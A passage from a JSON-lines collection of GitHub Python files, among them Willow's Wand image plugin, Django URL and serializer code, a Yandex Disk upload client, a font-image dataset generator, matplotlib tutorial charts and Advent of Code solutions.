f\"Pred: {y_class_to_class_label[y_pred_class]} ({y_pred_class})\\n\"\n f\"Index: {image_index}\")\n elif isinstance(data_set, CustomImageFolderDataset):\n image_filename = data_set.data[image_index]\n image_filename = image_filename.split(\"/\")\n image_filename = image_filename[-3] + \"/\" + image_filename[-2] + \"/\" + image_filename[-1]\n \n ax[i].set_title(f\"True: {y_class_to_class_label[y_true_class]} ({y_true_class})\\n\"\n f\"Pred: {y_class_to_class_label[y_pred_class]} ({y_pred_class})\\n\"\n f\"{image_filename}\")\n else:\n raise TypeError(\"Invalid dataset type!\")\n\n ax[i].axis(\"off\")\n\n for i in range(num_wrong_samples, len(ax)):\n ax[i].set_visible(False)","repo_name":"patrikpp/projects","sub_path":"federated_learning/src/utils/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":7476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4117454524","text":"from __future__ import absolute_import\n\nfrom ctypes import c_void_p, c_char_p\n\nimport functools\n\nfrom willow.image import (\n Image,\n JPEGImageFile,\n PNGImageFile,\n GIFImageFile,\n BMPImageFile,\n RGBImageBuffer,\n RGBAImageBuffer,\n TIFFImageFile,\n WebPImageFile,\n)\n\n\nclass UnsupportedRotation(Exception):\n pass\n\n\ndef _wand_image():\n import wand.image\n return wand.image\n\n\ndef _wand_color():\n import wand.color\n return wand.color\n\n\ndef _wand_api():\n import wand.api\n return wand.api\n\n\ndef _wand_version():\n import wand.version\n return wand.version\n\n\nclass WandImage(Image):\n def __init__(self, image):\n self.image = image\n\n @classmethod\n def check(cls):\n _wand_image()\n _wand_color()\n _wand_api()\n _wand_version()\n\n def _clone(self):\n return WandImage(self.image.clone())\n\n @classmethod\n def is_format_supported(cls, image_format):\n return bool(_wand_version().formats(image_format))\n\n @Image.operation\n def get_size(self):\n return self.image.size\n\n @Image.operation\n def get_frame_count(self):\n return len(self.image.sequence)\n\n @Image.operation\n def has_alpha(self):\n return self.image.alpha_channel\n\n @Image.operation\n def has_animation(self):\n return self.image.animation\n\n @Image.operation\n def resize(self, size):\n clone = self._clone()\n clone.image.resize(size[0], size[1])\n return clone\n\n @Image.operation\n def crop(self, rect):\n clone = self._clone()\n clone.image.crop(left=rect[0], top=rect[1], right=rect[2], bottom=rect[3])\n return clone\n\n @Image.operation\n def rotate(self, angle):\n not_a_multiple_of_90 = angle % 90\n\n if not_a_multiple_of_90:\n raise UnsupportedRotation(\n \"Sorry - we only support right angle rotations - i.e. multiples of 90 degrees\"\n )\n\n clone = self.image.clone()\n clone.rotate(angle)\n return WandImage(clone)\n\n @Image.operation\n def set_background_color_rgb(self, color):\n if not self.has_alpha():\n # Don't change image that doesn't have an alpha channel\n return self\n\n # Check type of color\n if not isinstance(color, (tuple, list)) or not len(color) == 3:\n raise TypeError(\"the 'color' argument must be a 3-element tuple or list\")\n\n clone = self._clone()\n\n # Wand will perform the compositing at the point of setting alpha_channel to 'remove'\n clone.image.background_color = _wand_color().Color('rgb({}, {}, {})'.format(*color))\n clone.image.alpha_channel = 'remove'\n\n # Set alpha_channel to False manually as Wand doesn't do it\n clone.image.alpha_channel = False\n\n return clone\n\n @Image.operation\n def save_as_jpeg(self, f, quality=85, optimize=False, progressive=False):\n with self.image.convert('pjpeg' if progressive else 'jpeg') as converted:\n converted.compression_quality = quality\n converted.save(file=f)\n\n return JPEGImageFile(f)\n\n @Image.operation\n def save_as_png(self, f, optimize=False):\n with self.image.convert('png') as converted:\n converted.save(file=f)\n\n return PNGImageFile(f)\n\n @Image.operation\n def save_as_gif(self, f):\n with self.image.convert('gif') as converted:\n converted.save(file=f)\n\n return GIFImageFile(f)\n\n @Image.operation\n def save_as_webp(self, f, quality=80, lossless=False):\n with self.image.convert('webp') as converted:\n converted.compression_quality = quality\n if lossless:\n library = _wand_api().library\n library.MagickSetOption.argtypes = [c_void_p,\n c_char_p,\n c_char_p]\n library.MagickSetOption(converted.wand,\n \"webp:lossless\".encode('utf-8'),\n \"true\".encode('utf-8'))\n converted.save(file=f)\n\n return WebPImageFile(f)\n\n @Image.operation\n def auto_orient(self):\n image = self.image\n\n if image.orientation not in ['top_left', 'undefined']:\n image = image.clone()\n if hasattr(image, 'auto_orient'):\n # Wand 0.4.1 +\n image.auto_orient()\n else:\n orientation_ops = {\n 'top_right': [image.flop],\n 'bottom_right': [functools.partial(image.rotate, degree=180.0)],\n 'bottom_left': [image.flip],\n 'left_top': [image.flip, functools.partial(image.rotate, degree=90.0)],\n 'right_top': [functools.partial(image.rotate, degree=90.0)],\n 'right_bottom': [image.flop, functools.partial(image.rotate, degree=90.0)],\n 'left_bottom': [functools.partial(image.rotate, degree=270.0)]\n }\n fns = orientation_ops.get(image.orientation)\n\n if fns:\n for fn in fns:\n fn()\n\n image.orientation = 'top_left'\n\n return WandImage(image)\n\n @Image.operation\n def get_wand_image(self):\n return self.image\n\n @classmethod\n @Image.converter_from(JPEGImageFile, cost=150)\n @Image.converter_from(PNGImageFile, cost=150)\n @Image.converter_from(GIFImageFile, cost=150)\n @Image.converter_from(BMPImageFile, cost=150)\n @Image.converter_from(TIFFImageFile, cost=150)\n @Image.converter_from(WebPImageFile, cost=150)\n def open(cls, image_file):\n image_file.f.seek(0)\n image = _wand_image().Image(file=image_file.f)\n image.wand = _wand_api().library.MagickCoalesceImages(image.wand)\n\n return cls(image)\n\n @Image.converter_to(RGBImageBuffer)\n def to_buffer_rgb(self):\n return RGBImageBuffer(self.image.size, self.image.make_blob('RGB'))\n\n @Image.converter_to(RGBAImageBuffer)\n def to_buffer_rgba(self):\n return RGBImageBuffer(self.image.size, self.image.make_blob('RGBA'))\n\n\nwillow_image_classes = [WandImage]\n","repo_name":"OneEyeDoll/react-wagtail-blog","sub_path":".venv/lib64/python3.9/site-packages/willow/plugins/wand.py","file_name":"wand.py","file_ext":"py","file_size_in_byte":6265,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"21307802680","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# dataset_partitioning.py\n# Created on March 5, 2015.\n\"\"\"\nProduces a bar plot of dataset partitioning.\n\"\"\"\nfrom __future__ import print_function\n\nfrom argparse import ArgumentParser\nimport operator\nimport sys\n\nimport numpy\nimport pylab\n\nimport plots\nfrom datasets import load_dates\n\n\ndef load_libsvm_labels(f):\n ig0 = operator.itemgetter(0)\n return numpy.array(map(ig0, open(f, 'rb').readlines())).astype('float')\n\n\ndef main():\n parser = ArgumentParser(description=__doc__)\n parser.add_argument('--train',\n nargs='+',\n required=True,\n help='Training data file(s).')\n parser.add_argument('--test',\n nargs='+',\n required=True,\n help='Test data file(s).')\n parser.add_argument('-l', '--log',\n action='store_true',\n help='X-axis log scale.')\n parser.add_argument('--legend',\n default=False,\n help='Where to put legend.')\n parser.add_argument('--data-plot',\n required=True,\n nargs='*',\n help='Where to save data quantity plot.')\n\n args = parser.parse_args()\n\n print('\\nEvaluating data in time periods')\n res = []\n key_dates = []\n all_years = set()\n for w, (f_tr, f_te) in enumerate(zip(args.train, args.test), start=1):\n # Load test data\n y_te = load_libsvm_labels(f_te)\n pos_te, neg_te = (y_te > 0.5).sum(), (y_te < 0.5).sum()\n\n # Load test dates\n dates = numpy.array(load_dates(f_te))\n week_s, week_e = dates.min(), dates.max()\n key_dates.append(week_s)\n print('Period {} [{} - {}]'.format(w, week_s, week_e))\n all_years.add(str(week_s.year))\n\n # Load training data\n y_tr = load_libsvm_labels(f_tr)\n pos_tr, neg_tr = (y_tr > 0.5).sum(), (y_tr < 0.5).sum()\n\n print('Training: {} malicious, {} benign'.format(pos_tr, neg_tr))\n print('Test: {} malicious, {} benign'.format(pos_te, neg_te),\n end='\\n\\n')\n res.append((pos_tr, neg_tr, pos_te, neg_te))\n\n pos_tr, neg_tr, pos_te, neg_te = zip(*res)\n print('Dates ranging from {} to {}'.format(key_dates[0], key_dates[-1]))\n print('Total days: {}'.format((key_dates[-1] - key_dates[0]).days + 1))\n\n print('Plotting training and test sizes')\n bar_width = 0.35\n spacing = 0.05 # spacing between a pair of training/test bars\n xticks = numpy.arange(len(pos_tr)).astype(numpy.float32)\n\n # Plot\n plots.init_eurasip_style(figure_width=222.5, figure_height=170.0)\n fig = pylab.figure()\n ax = pylab.gca()\n ax.bar(xticks - bar_width - spacing, neg_tr, width=bar_width,\n color='#00691f', linewidth=0, label='Benign training')\n ax.bar(xticks - bar_width - spacing, pos_tr, bottom=neg_tr,\n width=bar_width, color='#a50007', linewidth=0,\n label='Malicious training')\n ax.bar(xticks + spacing, neg_te, width=bar_width, color='#67bc6b',\n linewidth=0, label='Benign evaluation')\n ax.bar(xticks + spacing, pos_te, bottom=neg_te, width=bar_width,\n color='#ff767d', linewidth=0, label='Malicious evaluation')\n\n # Set up x axis\n ax.set_xticks(xticks)\n ax.set_xticklabels([d.strftime('%b %d') for d in key_dates])\n ax.set_xlim((-2.0 * spacing - bar_width,\n len(pos_tr) - 1 + 2.0 * spacing + bar_width))\n years_range = sorted(all_years)\n if len(years_range) > 2:\n years_range = [years_range[0], years_range[-1]]\n ax.set_xlabel('Date ({})'.format(' - '.join(years_range)))\n fig.autofmt_xdate()\n\n # Set up y axis\n pylab.ticklabel_format(axis='y', style='sci', scilimits=(0, 2),\n useOffset=False)\n ax.yaxis.grid() # vertical grid lines\n ax.set_axisbelow(True) # grid lines are behind the rest\n if args.log:\n ax.set_yscale('log')\n ax.set_ylabel('Samples')\n\n # Set up legend\n legend_loc = args.legend if args.legend else 'best'\n if legend_loc != 'none':\n pylab.legend(loc=legend_loc, fancybox=True, framealpha=0.5)\n\n # Finalize plot setup\n pylab.tight_layout(pad=0.5, h_pad=0.5, w_pad=0.5, rect=(0, 0, 1, 1))\n for plot_file in args.data_plot:\n pylab.savefig(plot_file)\n\n return 0\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"srndic/hidost-reproduction","sub_path":"src/dataset_partitioning.py","file_name":"dataset_partitioning.py","file_ext":"py","file_size_in_byte":4476,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"34500162554","text":"with open(\"2.txt\") as f:\n cont = [int(i) for i in f.read().split(\",\")]\n\nnoun = 0\nverb = 0\ntarget = 19690720\n\nmem = [0]\n\nwhile mem[0] != target:\n mem = cont.copy()\n mem[1] = noun\n mem[2] = verb\n\n for i in range(0,len(mem), 4):\n op = mem[i:i+4]\n if op[0] == 1:\n mem[op[3]] = mem[op[1]] + mem[op[2]]\n elif op[0] == 2:\n mem[op[3]] = mem[op[1]] * mem[op[2]]\n elif op[0] == 99:\n break\n \n print(f\"noun = {noun} and verb = {verb} was tried\")\n noun += 1\n if noun == 100:\n noun = 0\n verb += 1\n if verb == noun == 99:\n break\n\nprint(100*(noun-1) + verb)","repo_name":"Sebbben/Public","sub_path":"AdventOfCode/2019/2-2.py","file_name":"2-2.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"79105560","text":"from django.conf.urls import include, url\nfrom django.contrib import admin\n\nfrom school import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^student/index', views.student, name='student'),\n url(r'^professor/index', views.professor, name= 'professor'),\n url(r'^student/(?P\\d+)/', views.student_detail, name='student_detail'),\n url(r'^professor/(?P\\d+)/', views.professor_detail, name='professor_detail'),\n url(r'^course/index', views.course, name='course'),\n url(r'^course/(?P\\d+)/', views.course_detail, name='course_detail'), \n url(r'^student/new/$', views.new_student, name='new_student'),\n url(r'^professor/new/$', views.new_professor, name='new_professor'),\n url(r'^course/new/$', views.new_course, name='new_course'),\n url(r'^section/new/', views.new_section, name='new_section'),\n]\n","repo_name":"theplue/djangoApp","sub_path":"firstdjango/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7420919870","text":"# coding: utf-8\n\"\"\"\nThis module contains base serializers to be used with django-rest-easy.\n\nCrucial point of creating a good API is format consistency. If you've been lacking that so far, can't afford it anymore\nor want to make your life easier, you can enforce a common message format and a common serialization format.\nEnter the following SerializerCreator - it will make sure that everything serializers output will contain schema\nand model fields. This affects both regular and model serializers.\n\nAdditional benefit of using such metaclass is serializer registration - we can easily obtain serializers based on\nmodel (or None for non-model serializers) and schema from anywhere in the application. That's useful in several cases:\n\n* model serialization\n* remote data deserialization (no changes to (de)serialization logic required when we add a new schema)\n* simpler views and viewsets\n\nThis doesn't disable any DRF's serializers functionality.\n\"\"\"\nfrom __future__ import unicode_literals\n\nimport six\nfrom django.db import models\nfrom rest_framework.serializers import (Serializer as OSerializer,\n ModelSerializer as OModelSerializer,\n SerializerMetaclass,\n Field)\n\nfrom rest_easy.fields import StaticField\nfrom rest_easy.registers import serializer_register\nfrom rest_easy.patterns import RegisteredCreator\n\n__all__ = ['ModelSerializer', 'Serializer', 'RegisterableSerializerMixin', 'SerializerCreator']\n\n\nclass SerializerCreator(RegisteredCreator, SerializerMetaclass):\n \"\"\"\n This metaclass creates serializer classes to be used with django-rest-easy.\n\n We need to employ multiple inheritance here (if the behaviour ever needs to be overridden, you can just use both\n base classes to implement your own functionality) to preserve DRF's behaviour regarding\n serializer fields as well as registration and required fields checking from our own metaclass.\n\n Remember that all __new__ methods from base classes get called.\n \"\"\"\n inherit_fields = False\n register = serializer_register\n required_fields = {\n 'Meta': {\n 'model': lambda value: value is None or issubclass(value, models.Model),\n 'schema': lambda value: isinstance(value, six.string_types)\n }\n }\n\n @staticmethod\n def get_fields_from_base(base):\n \"\"\"\n Alteration of original fields inheritance.\n\n It skips all serializer fields, since SerializerMetaclass deals with that already.\n :param base: a base class.\n :return: generator of (name, value) tuples of fields from base.\n \"\"\"\n for item in dir(base):\n # Avoid copying serializer fields to class, since DRF's metaclass deals with that already.\n if not item.startswith('_') and not isinstance(item, Field):\n value = getattr(base, item)\n if not callable(value):\n yield item, getattr(base, item)\n\n @staticmethod\n def get_name(name, bases, attrs):\n \"\"\"\n Alteration of original get_name.\n\n This, instead of returing class's name, obtains correct serializer registration name from\n :class:`rest_easy.registers.SerializerRegister` and uses it as slug for registration purposes.\n :param name: class name.\n :param bases: class bases.\n :param attrs: class attributes.\n :return: registered serializer name.\n \"\"\"\n model = attrs['Meta'].model\n return serializer_register.get_name(model, attrs['Meta'].schema)\n\n @classmethod\n def pre_register(mcs, name, bases, attrs):\n \"\"\"\n Pre-register hook adding required fields\n\n This is the place to add required fields if they haven't been declared explicitly.\n We're adding model and schema fields here.\n :param name: class name.\n :param bases: class bases.\n :param attrs: class attributes.\n :return: tuple of altered name, bases, attrs.\n \"\"\"\n if 'model' not in attrs:\n model = attrs['Meta'].model\n if model:\n model_name = '{}.{}'.format(model._meta.app_label, model._meta.object_name) # pylint: disable=protected-access\n else:\n model_name = None\n attrs['model'] = StaticField(model_name)\n if 'schema' not in attrs:\n attrs['schema'] = StaticField(attrs['Meta'].schema)\n if hasattr(attrs['Meta'], 'fields'):\n if not isinstance(attrs['Meta'].fields, six.string_types):\n attrs['Meta'].fields = list(attrs['Meta'].fields)\n if 'model' not in attrs['Meta'].fields:\n attrs['Meta'].fields.append('model')\n if 'schema' not in attrs['Meta'].fields:\n attrs['Meta'].fields.append('schema')\n return name, bases, attrs\n\n\nclass RegisterableSerializerMixin(six.with_metaclass(SerializerCreator, object)): # pylint: disable=too-few-public-methods\n \"\"\"\n A mixin to be used if you want to inherit functionality from non-standard DRF serializer.\n \"\"\"\n __abstract__ = True\n\n\nclass Serializer(six.with_metaclass(SerializerCreator, OSerializer)): # pylint: disable=too-few-public-methods,abstract-method\n \"\"\"\n Registered version of DRF's Serializer.\n \"\"\"\n __abstract__ = True\n\n\nclass ModelSerializer(six.with_metaclass(SerializerCreator, OModelSerializer)): # pylint: disable=too-few-public-methods,abstract-method\n \"\"\"\n Registered version of DRF's ModelSerializer.\n \"\"\"\n __abstract__ = True\n","repo_name":"Telmediq/django-rest-easy","sub_path":"rest_easy/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":5620,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"3"} +{"seq_id":"1647811176","text":"import requests\n\n\nclass YaDiskApi:\n url = \"https://cloud-api.yandex.net/v1/disk/\"\n\n def __init__(self, token):\n self.token = token\n\n def get_headers(self):\n headers = {\n 'Content-Type': 'application/json',\n 'Authorization': f'OAuth {self.token}'\n }\n return headers\n\n def create_dir(self, dir_name, dir_path='/'):\n url_create_dir = self.url + 'resources'\n res = requests.put(\n url=url_create_dir,\n params={'path': f'{dir_path.rstrip(\"/\")}/{dir_name}'},\n headers=self.get_headers()\n )\n if res.status_code == 201 or res.status_code == 409:\n return 'OK'\n else:\n try:\n return f'Что-то пошло не так во время создания каталога {dir_name}: {res.json()[\"message\"]}!'\n except:\n return f'Что-то пошло не так во время создания каталога {dir_name}!'\n\n def upload_photo_by_url(self, file_name, ir, file_url):\n url_get_upload_url = self.url + 'resources/upload'\n upload_url_info = requests.get(\n url=url_get_upload_url,\n params={'path': f'{ir}/{file_name}'},\n headers=self.get_headers()\n )\n if upload_url_info.status_code != 200:\n try:\n return f'Что-то пошло не так при получении URL-адреса загрузки: {upload_url_info.json()[\"message\"]}!'\n except:\n return f'Что-то пошло не так во время загрузки URL-адреса!'\n upload_url = upload_url_info.json()['href']\n res = requests.put(\n url=upload_url,\n data=requests.get(file_url)\n )\n if res.status_code == 201:\n return 'OK'\n else:\n try:\n return f'Что-то пошло не так во время загрузки файла {file_name}:\\n {res.json()[\"message\"]}!'\n except:\n return f'Что-то пошло не так во время загрузки файла {file_name}!'\n","repo_name":"DenisBartos/cousepaper","sub_path":"yadiskapi.py","file_name":"yadiskapi.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24282633337","text":"import argparse\nimport os\nimport pathlib\nimport random\n\nfrom PIL import Image, ImageDraw, ImageFont\nfrom tqdm import tqdm\n\nparser = argparse.ArgumentParser(description='Obtaining characters from .ttf')\nparser.add_argument('--ttf_path', type=str, default='./archive/ttf_10', help='ttf directory')\nparser.add_argument('--chara', type=str, default='./archive/character_3588.txt', help='characters')\nparser.add_argument('--save_path', type=str, help='images directory')\nparser.add_argument('--img_sizes', type=int, nargs='+', default=[64, 256], help='The size of generated images') # 80, 64\nparser.add_argument('--char_sizes', type=int, nargs='+', default=[56, 224], help='The size of generated characters') # 70, 56\nparser.add_argument('--offset_coefficients', nargs='+', type=int, default=[-1, -1])\nparser.add_argument('--align_list', type=int, nargs='+', default=[])\nparser.add_argument('--shuffle', action='store_true')\nparser.add_argument('--anti_alias', action='store_true')\nparser.add_argument('--resize', action='store_true')\nparser.add_argument('--test_font_num', type=int, default=3)\nparser.add_argument('--seed', type=int, default=0)\n\nargs = parser.parse_args()\n\nfile_object = open(args.chara, encoding='utf-8')\ntry:\n characters = file_object.read()\nfinally:\n file_object.close()\n\nif args.shuffle:\n characters = list(characters)\n random.seed(args.seed)\n random.shuffle(characters)\n characters = \"\".join(characters)\n\nif not args.save_path:\n args.save_path = os.path.join('archive',\n f\"FONT_SR_{args.img_sizes[0]}to{args.img_sizes[1]}_{os.path.basename(args.ttf_path)}_test{args.test_font_num}_resize{args.resize}_anti_alias{args.anti_alias}\")\n\nos.makedirs(args.save_path, exist_ok=True)\n\n\ndef draw_char(ch, font, img_size, char_size, offset_coefficient=1, align=False):\n x_offset, y_offset = (img_size - char_size) / 2, (img_size - char_size) / 2\n if align:\n y_offset *= offset_coefficient\n img = Image.new(\"RGB\", (img_size, img_size), (255, 255, 255))\n draw = ImageDraw.Draw(img)\n draw.text((x_offset, y_offset), ch, (0, 0, 0), font=font)\n return img\n\n\ndef main():\n data_dir = args.ttf_path\n data_root = pathlib.Path(data_dir)\n print(data_root)\n\n all_font_paths = list(data_root.glob('*.ttf*')) + list(data_root.glob('*.TTF*'))\n all_font_paths += list(data_root.glob('*.ttc*')) + list(data_root.glob('*.TTC*'))\n all_font_paths = list(set(all_font_paths))\n all_font_paths = [str(path) for path in all_font_paths]\n all_font_paths.sort()\n\n print(f\"Total {len(all_font_paths)} fonts:\")\n for i in range(len(all_font_paths)):\n print(all_font_paths[i])\n for which, font_paths in zip(['train', 'test'], [all_font_paths[:-3], all_font_paths[-3:]]):\n for label, img_size, char_size, offset_coefficient in zip([f'{which}A', f'{which}B'], args.img_sizes,\n args.char_sizes, args.offset_coefficients):\n output_path = os.path.join(args.save_path, label)\n os.makedirs(output_path, exist_ok=True)\n for i, item in enumerate(font_paths):\n font = ImageFont.truetype(item, size=char_size)\n font_name = os.path.basename(item)\n align = i in args.align_list\n for (chara, cnt) in tqdm(zip(characters, range(len(characters))), total=len(characters)):\n img = draw_char(chara, font, img_size, char_size, offset_coefficient, align)\n if args.resize:\n if img_size != args.img_sizes[1]:\n if args.anti_alias:\n img = img.resize((args.img_sizes[1], args.img_sizes[1]), Image.ANTIALIAS)\n else:\n img = img.resize((args.img_sizes[1], args.img_sizes[1]))\n img.save(os.path.join(output_path, f\"{font_name}_{cnt:04}.png\"))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"songquanpeng/font-sr","sub_path":"generate_dataset.py","file_name":"generate_dataset.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"70782551443","text":"from ado.project import Project\nfrom tests.utils import get_conn\nfrom ado.note import Note\nimport datetime\n\ndef test_create_note():\n conn = get_conn()\n note = Note.create(conn, note=\"This is a new note.\", created_at = datetime.datetime.now())\n assert note.id == 1\n assert note.elapsed_seconds() < 0.01\n\n project = Project.create(\n conn,\n name = \"My Project With Notes\",\n created_at = datetime.datetime.now()\n )\n\n note2 = Note.create(\n conn,\n note=\"This is a note assigned to a project.\",\n linked_to_type=\"Project\",\n linked_to_id=project.id,\n created_at=datetime.datetime.now()\n )\n\n assert note2.id == 2\n\n inbox_notes = [n.id for n in Note.inbox(conn)]\n assert note.id in inbox_notes\n assert not note2.id in inbox_notes\n\n note.assign(conn, project)\n\n inbox_notes = [n.id for n in Note.inbox(conn)]\n assert not note.id in inbox_notes\n assert not note2.id in inbox_notes\n\n note = note.reload(conn)\n assert note.project(conn).id == project.id\n assert note2.project(conn).id == project.id\n","repo_name":"ananelson/ado","sub_path":"tests/note_test.py","file_name":"note_test.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11081770379","text":"\n#%matplotlib auto 그래프를 독립적으로 그릴 때\n#%matplotlib inline 그래프를 콘솔창에 그릴 때\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#선그래프\nplt.plot([1,2,3], [5,7,4])\nplt.ylim(0,8)\nplt.show()\n\nx = [1,2,3]\ny1 = [5,5,8]\ny2 = [10,15,6]\nplt.plot(x,y1, label='first line')\nplt.plot(x,y2, label='second line')\nplt.legend()\nplt.title('Line Chart')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.show()\n\n#산점도\nx = [1, 2, 3, 4, 5, 6, 7, 8]\ny = [4, 5, 6, 7, 7, 8, 4, 3]\nplt.scatter(x,y, marker='x', s=100, color='k')\nplt.title('Scatter Plot\\n Example')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.show()\n\n#히스토그램\npopulation_ages = [22, 55, 62, 45, 21, 22, 34, 42, 42, 4, 99, 102, 110, 120, 121, 122, 130, 111, 115, 112, 80,75, 65, 54, 44, 43, 42, 48]\nbins = [0,10,20,30,40,50,60,70,80,90,100,110,120,130]\nplt.hist(population_ages, bins, rwidth=.8)\nplt.title('Histogram')\nplt.xlabel('ages')\nplt.ylabel('count')\nplt.show()\n\n#막대그래프\nx = [1,2,3,4,5]\ny = [8,4,5,6,7]\n\nplt.bar(x,y, color='r')\nplt.title('Bar Chart')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.show()\n\n#수평막대그래프\nx = [1,2,3,4,5]\ny = [8,4,5,6,7]\n\nplt.barh(x,y, color='r')\nplt.title('Bar Chart')\nplt.xlabel('y')\nplt.ylabel('x')\nplt.show()\n\n#Combined Bar Chart\nx1 = [1, 3, 5, 7, 9]\nx2 = [2, 4, 6, 8, 10]\ny1 = [3, 6, 3, 7, 8]\ny2 = [2, 5, 1, 8, 6]\nplt.bar(x1,y1, label='bar1', color='r')\nplt.bar(x2,y2, label='bar2', color='c')\nplt.title('Two Bar Charts')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.legend()\nplt.show()\n\n#Stacked Bar Chart\nx = [1, 2, 3, 4, 5]\ny1 = [2, 4, 6, 3, 1]\ny2 = [4, 7, 5, 7, 3]\nplt.bar(x,y1, label='bar1', color='r')\nplt.bar(x,y2,bottom=y1, label='bar2', color='c')\nplt.title('Stacked Bar Chart')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.legend()\nplt.show()\n\n#Boxplot\ndata = [[2, 4, 6, 8, 10],[6 ,7, 8, 2, 4],[1, 3, 5, 7, 9],[7, 8, 2, 4, 2]]\ndf = pd.DataFrame(data)\nplt.boxplot(df)\nplt.title('Box Plot')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.show()\n\n#Area Chart\ndays = [1, 2, 3, 4, 5]\nsleeping = [7, 8, 6, 11, 7]\neating = [2, 3, 4, 3, 2]\nworking = [7, 8, 7, 2, 2]\nplaying = [8, 5, 7, 8, 13]\n\nplt.stackplot(days, sleeping, eating, working, playing,\n colors=['m', 'c', 'r', 'k'])\nplt.title('Area Chart')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.legend(labels=['sleeping', 'eating', 'working', 'playing'])\nplt.show()\n\n#Heatmap\ndata = [[2, 4, 6, 8, 10],[6 ,7, 8, 2, 4],[1, 3, 5, 7, 9],[7, 8, 2, 4, 2]] #5x4\ndf = pd.DataFrame(data)\nplt.pcolor(df)\nplt.colorbar()\nplt.show()\n\n#Pie Chart\ndata = [3,5,6,2]\nplt.pie(data, labels=['sleeping', 'eating', 'working', 'playing'], colors=['c', 'm', 'r', 'k'], startangle=90,\n shadow=True,explode=(0,.3,0,0),autopct='%.1f%%')\nplt.title('Pie Chart')\nplt.show()\n\n#CHART USING PANDAS\ndata = pd.read_csv('graph_pd.txt')\ndata.columns = ['x', 'y']\nplt.plot(data.x, data.y)\nplt.show()\n\n#CHART USING NUMPY\nimport numpy as np\ndata = np.loadtxt('graph_np.txt', delimiter=',')\nx = data[0,:]\ny = data[1,:]\nplt.plot(x,y)\nplt.ylim(0,10)\nplt.show()\n\n#CHIPOTLE EXAMPLE\n#Analyze the Chipotle data using graphs. 치폴레 데이터를 가지고 그래프를 그려 분석하시오.\nimport os\nos.chdir('E:/TEACHING/TEACHING KOREA/MULTICAMPUS/LAB/')\nchipo = pd.read_excel('chipotle.xlsx')\nchipo.columns\nchipo.dtypes\n\n#Scatter plot (이변량 연속, 연속)\nplt.scatter(chipo.quantity, chipo.item_price)\nplt.show()\n\n#Histogram (일변량 연속)\nplt.hist(chipo.quantity, bins=30)\nplt.show()\n\nplt.hist(chipo.item_price)\nplt.show()\n\n#Bar chart (이변량 범주, 연속)\na = chipo.groupby('item_name').sum().quantity\nplt.bar(a.index, a)\nplt.xticks(rotation=90)\nplt.show()\n\n#Horizontal bar chart (일변량 범주)\nb = chipo.choice_description.value_counts()\nplt.barh(b.index, b)\nplt.show()\n\n#씨리즈\ns = pd.Series([2,3,4,8], index=['a', 'b', 'b', 'b'])\ns.sum()\ns.index\n\n#Box plot (일변량 연속)\nc = chipo.quantity.value_counts()\nplt.boxplot(chipo[['quantity', 'item_price']])\nplt.show()\n\n#plt.boxplot(chipo.quantity)\n#plt.show()\n#\n#plt.boxplot(chipo.item_price)\n#plt.show()\n\n#Heat map (이변량 연속, 연속)\nplt.matshow(chipo[['quantity', 'item_price']].corr())\nplt.colorbar()\nplt.show()\n\nplt.pcolor(chipo[['quantity', 'item_price']].corr())\nplt.colorbar()\nplt.show()\n\n#연속변수를 범주형으로 바꾸기\nd = pd.cut(chipo.quantity, bins=3, labels=['low', 'middle', 'high']).value_counts(sort=False)\n\nd.plot(kind='bar')\nplt.show()\n\nplt.style.available\nplt.style.use('ggplot')\n\nfrom matplotlib import font_manager, rc\nfont_name = font_manager.FontProperties(fname=\"c:/Windows/Fonts/malgun.ttf\").get_name()\nrc('font', family=font_name)\n\n#서울시 교통사고 현황\n#1월에서 12월까지 발생건수\nreport = pd.read_csv('seoul_report.txt', delimiter='\\t')\na = report.iloc[0,:]['1월':'12월']\na = a.apply(lambda x: x.replace(',', '')).astype('int')\nplt.plot(a)\nplt.show()\n\n#12월 사망자수\nb = report[report.구분 == '사망자수'][2:][['자치구별','12월']]\nplt.bar(b.자치구별, b['12월'])\nplt.xticks(rotation=90)\nplt.show()","repo_name":"sojung-lee/multicampus","sub_path":"machinerunning/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":4989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37916815030","text":"from heapq import heappush, heappop\n\ndef first_part(calories):\n curr_calories, largest_calories = 0, 0\n for calorie in calories:\n if calorie == '\\n':\n largest_calories = max(largest_calories, curr_calories)\n curr_calories = 0\n continue\n\n curr_calories += int(calorie.rstrip('\\n'))\n \n return largest_calories\n\n\ndef second_part(calories):\n min_heap = []\n curr_calories = 0\n for calorie in calories:\n if calorie == '\\n':\n 